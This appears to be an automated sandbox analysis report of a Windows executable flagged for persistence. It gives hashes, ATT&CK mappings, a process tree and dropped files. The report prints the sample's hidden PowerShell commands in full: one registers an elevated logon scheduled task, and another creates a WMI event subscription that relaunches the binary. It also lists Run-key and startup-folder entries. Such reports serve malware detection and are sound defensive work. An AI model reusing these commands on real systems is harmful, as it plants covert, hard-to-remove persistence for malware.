c98bf2d3f15ac3e595e547ba6e0f70fd7f992b51b5b14592538a964883d474ee

Analysis

user interaction
yes
max time kernel
59s
max time network
61s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/07/2026, 11:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
agent-windows-amd64-885198ab.exe
Size 18.5MB
Sample260715-n1cd8aey4y
SHA256 c98bf2d3f15ac3e595e547ba6e0f70fd7f992b51b5b14592538a964883d474ee
MD5 5118b6de1ba0edeca703667d5fd22ead
SHA1 5e271adca87c91f67e68014256fff3cf4d3fb02a
SHA512 9fe869a73d33314683530064d19ff377996687dcc872d06971dffc4b65964bdfa6aee8383c9d558e73624e75d8ad611ffe15f98bc1ae211c0957a8cfe248a7dd
SSDEEP 196608:Fu6ytIExale8SOMBcDCIdddDlM1mLK7IfVh:F7jwtOM3I7G7s
TLSH
T1E6175B97EDA555E4C0AED3758A729613BB713C890B2023D71B50FE242F36BE0AEB5344
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4956	powershell.exe
3656	powershell.exe
1392	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-2988152768.tmp	agent-windows-amd64-885198ab.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3646780303.tmp	ovd_f982a2627694.exe

Executes dropped EXE 1 IoCs

pid	Process
2992	ovd_f982a2627694.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-a8400ddb = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_f982a2627694.exe\""	agent-windows-amd64-885198ab.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-a8400ddb = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_f982a2627694.exe\""	ovd_f982a2627694.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3656	powershell.exe
3656	powershell.exe
1392	powershell.exe
1392	powershell.exe
1392	powershell.exe
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3656	powershell.exe
Token: SeSecurityPrivilege	3656	powershell.exe
Token: SeTakeOwnershipPrivilege	3656	powershell.exe
Token: SeLoadDriverPrivilege	3656	powershell.exe
Token: SeSystemProfilePrivilege	3656	powershell.exe
Token: SeSystemtimePrivilege	3656	powershell.exe
Token: SeProfSingleProcessPrivilege	3656	powershell.exe
Token: SeIncBasePriorityPrivilege	3656	powershell.exe
Token: SeCreatePagefilePrivilege	3656	powershell.exe
Token: SeBackupPrivilege	3656	powershell.exe
Token: SeRestorePrivilege	3656	powershell.exe
Token: SeShutdownPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeSystemEnvironmentPrivilege	3656	powershell.exe
Token: SeRemoteShutdownPrivilege	3656	powershell.exe
Token: SeUndockPrivilege	3656	powershell.exe
Token: SeManageVolumePrivilege	3656	powershell.exe
Token: 33	3656	powershell.exe
Token: 34	3656	powershell.exe
Token: 35	3656	powershell.exe
Token: 36	3656	powershell.exe
Token: SeIncreaseQuotaPrivilege	1392	powershell.exe
Token: SeSecurityPrivilege	1392	powershell.exe
Token: SeTakeOwnershipPrivilege	1392	powershell.exe
Token: SeLoadDriverPrivilege	1392	powershell.exe
Token: SeSystemProfilePrivilege	1392	powershell.exe
Token: SeSystemtimePrivilege	1392	powershell.exe
Token: SeProfSingleProcessPrivilege	1392	powershell.exe
Token: SeIncBasePriorityPrivilege	1392	powershell.exe
Token: SeCreatePagefilePrivilege	1392	powershell.exe
Token: SeBackupPrivilege	1392	powershell.exe
Token: SeRestorePrivilege	1392	powershell.exe
Token: SeShutdownPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeSystemEnvironmentPrivilege	1392	powershell.exe
Token: SeRemoteShutdownPrivilege	1392	powershell.exe
Token: SeUndockPrivilege	1392	powershell.exe
Token: SeManageVolumePrivilege	1392	powershell.exe
Token: 33	1392	powershell.exe
Token: 34	1392	powershell.exe
Token: 35	1392	powershell.exe
Token: 36	1392	powershell.exe
Token: SeIncreaseQuotaPrivilege	1392	powershell.exe
Token: SeSecurityPrivilege	1392	powershell.exe
Token: SeTakeOwnershipPrivilege	1392	powershell.exe
Token: SeLoadDriverPrivilege	1392	powershell.exe
Token: SeSystemProfilePrivilege	1392	powershell.exe
Token: SeSystemtimePrivilege	1392	powershell.exe
Token: SeProfSingleProcessPrivilege	1392	powershell.exe
Token: SeIncBasePriorityPrivilege	1392	powershell.exe
Token: SeCreatePagefilePrivilege	1392	powershell.exe
Token: SeBackupPrivilege	1392	powershell.exe
Token: SeRestorePrivilege	1392	powershell.exe
Token: SeShutdownPrivilege	1392	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe
Token: SeSystemEnvironmentPrivilege	1392	powershell.exe
Token: SeRemoteShutdownPrivilege	1392	powershell.exe
Token: SeUndockPrivilege	1392	powershell.exe
Token: SeManageVolumePrivilege	1392	powershell.exe
Token: 33	1392	powershell.exe
Token: 34	1392	powershell.exe
Token: 35	1392	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2968 wrote to memory of 3656	2968	agent-windows-amd64-885198ab.exe	87
PID 2992 wrote to memory of 1392	2992	ovd_f982a2627694.exe	91
PID 2992 wrote to memory of 4956	2992	ovd_f982a2627694.exe	94

C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64-885198ab.exe
"C:\Users\Admin\AppData\Local\Temp\agent-windows-amd64-885198ab.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f982a2627694.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_a1621c01' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3656

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f982a2627694.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f982a2627694.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f982a2627694.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_a1621c01' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_fa1621c01'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_ca1621c01'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_f982a2627694.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_fa1621c01'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_ca1621c01'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4956

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_awdyg1q2.2y1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_awdyg1q2.2y1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent-2436134504.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2436134504.tmp
Size 18.5MB
SHA256 c98bf2d3f15ac3e595e547ba6e0f70fd7f992b51b5b14592538a964883d474ee
MD5 5118b6de1ba0edeca703667d5fd22ead
SHA1 5e271adca87c91f67e68014256fff3cf4d3fb02a
SHA512 9fe869a73d33314683530064d19ff377996687dcc872d06971dffc4b65964bdfa6aee8383c9d558e73624e75d8ad611ffe15f98bc1ae211c0957a8cfe248a7dd
SSDEEP 196608:Fu6ytIExale8SOMBcDCIdddDlM1mLK7IfVh:F7jwtOM3I7G7s
TLSH
T1E6175B97EDA555E4C0AED3758A729613BB713C890B2023D71B50FE242F36BE0AEB5344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3656-25-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-10-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-12-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-13-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-14-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-15-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-20-0x0000020E78340000-0x0000020E7835E000-memory.dmp

Download

memory/3656-22-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-21-0x0000020E78360000-0x0000020E78412000-memory.dmp

Download

memory/3656-9-0x0000020E78170000-0x0000020E78192000-memory.dmp

Download

memory/3656-26-0x0000020E78420000-0x0000020E7842A000-memory.dmp

Download

memory/3656-11-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-29-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-30-0x0000020E788C0000-0x0000020E788DE000-memory.dmp

Download

memory/3656-33-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-34-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-35-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-36-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-37-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-6-0x00007FF80971F000-0x00007FF809720000-memory.dmp

Download

memory/3656-44-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download

memory/3656-48-0x00007FF809590000-0x00007FF809F34000-memory.dmp

Download